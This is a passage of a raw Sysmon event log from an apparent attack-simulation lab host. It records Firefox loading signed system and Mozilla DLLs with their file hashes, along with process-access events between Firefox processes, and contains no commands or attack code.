Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 734700x800000000000000050434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000050433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 10341000x800000000000000050432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 734700x800000000000000050430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\avrt.dll10.0.14393.2969 (rs1_release.190503-1820)Multimedia Realtime RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationavrt.dllMD5=8EC9E2490A9FFA637115F758B22FFF78,SHA256=1A3295CBF09E9367CCE68505D949D724FB9B66B4516770B7D594273C3BCFC5B8,IMPHASH=F266C00A61E480BB0A81B1A89DB30014trueMicrosoft WindowsValid 10341000x800000000000000050428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 734700x800000000000000050426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\setupapi.dll10.0.14393.2608 (rs1_release.181024-1742)Windows Setup APIMicrosoft® Windows® Operating SystemMicrosoft CorporationSETUPAPI.DLLMD5=8EEA3E9E124AC395915517588723F12E,SHA256=ED63B8F0079069271F46EECCB4B0CF384D02BD1E18FE3BA635A0C0B1284B2CBE,IMPHASH=5910ADAAC44A92AFA6ED871531949CEEtrueMicrosoft WindowsValid 734700x800000000000000050425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000050424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000050423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000050422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000050421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000050420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000050419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000050418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000050417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\xul.dll92.0-FirefoxMozilla Foundationxul.dllMD5=3766950EB9C04428A9C737E569AC7ED9,SHA256=FC3E8D58FDB3000E92E0A62E044B2391BA002994935B04E39A1A3AF219102451,IMPHASH=0CA4B93436FFED8B6671051BFC088C43trueMozilla CorporationValid 734700x800000000000000050416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\lgpllibs.dll92.0-FirefoxMozilla Foundationlgpllibs.dllMD5=269AB2EAD217B029964A404AA6274B7F,SHA256=4EC20AE6993C89A577E13B64EEAD560E680FBC22B0398E4F747E24338DAB4E3A,IMPHASH=451AECEA9F58042E76D96A82BE2804FAtrueMozilla CorporationValid 734700x800000000000000050415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000050414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmmbase.dll10.0.14393.0 (rs1_release.160715-1616)Base Multimedia Extension API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMMbase.DLLMD5=24C1E8F8C10471C5A6F0E8AF141211EB,SHA256=75ECAE23C920D81614BA5C0648377C2FC04C7379FD6A388C244A81F50AAB7B1C,IMPHASH=0B9A3C99AAFA99247F9E2BD866186AEAtrueMicrosoft WindowsValid 734700x800000000000000050413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wsock32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Socket 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationwsock32.dllMD5=9471D5E2FEDF5552440BF935143DFAB0,SHA256=B489197F05EFFFB17F10FA9942DB88100C86BEB8291F9ACC8EB38BEF751BF90D,IMPHASH=6D33A1BDF842DEBFB889C44A830190E7trueMicrosoft WindowsValid 734700x800000000000000050412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmm.dll10.0.14393.0 (rs1_release.160715-1616)MCI API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMM.DLLMD5=F16410F5D557337B05CF4F93691EC106,SHA256=2B5BC3C0A6514356C6719298FC25D8D192A2C973EE3283EF48379D2745C9BD87,IMPHASH=9F0D37252D56D3F9E44E69CCC59B57AEtrueMicrosoft WindowsValid 734700x800000000000000050411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000050410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\nss3.dll92.0-FirefoxMozilla Foundationnss3.dllMD5=D75237337798A67147768480343F6CD4,SHA256=D8969ACE98532DC895616847FEDBB9B2A4FCB21E660DE3A42689DA0A1924FDB6,IMPHASH=0DFC68B8DD02D4E1CB73F90762A0E3D7trueMozilla CorporationValid 10341000x800000000000000050409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 734700x800000000000000050407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000050406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000050405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 10341000x800000000000000050404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla 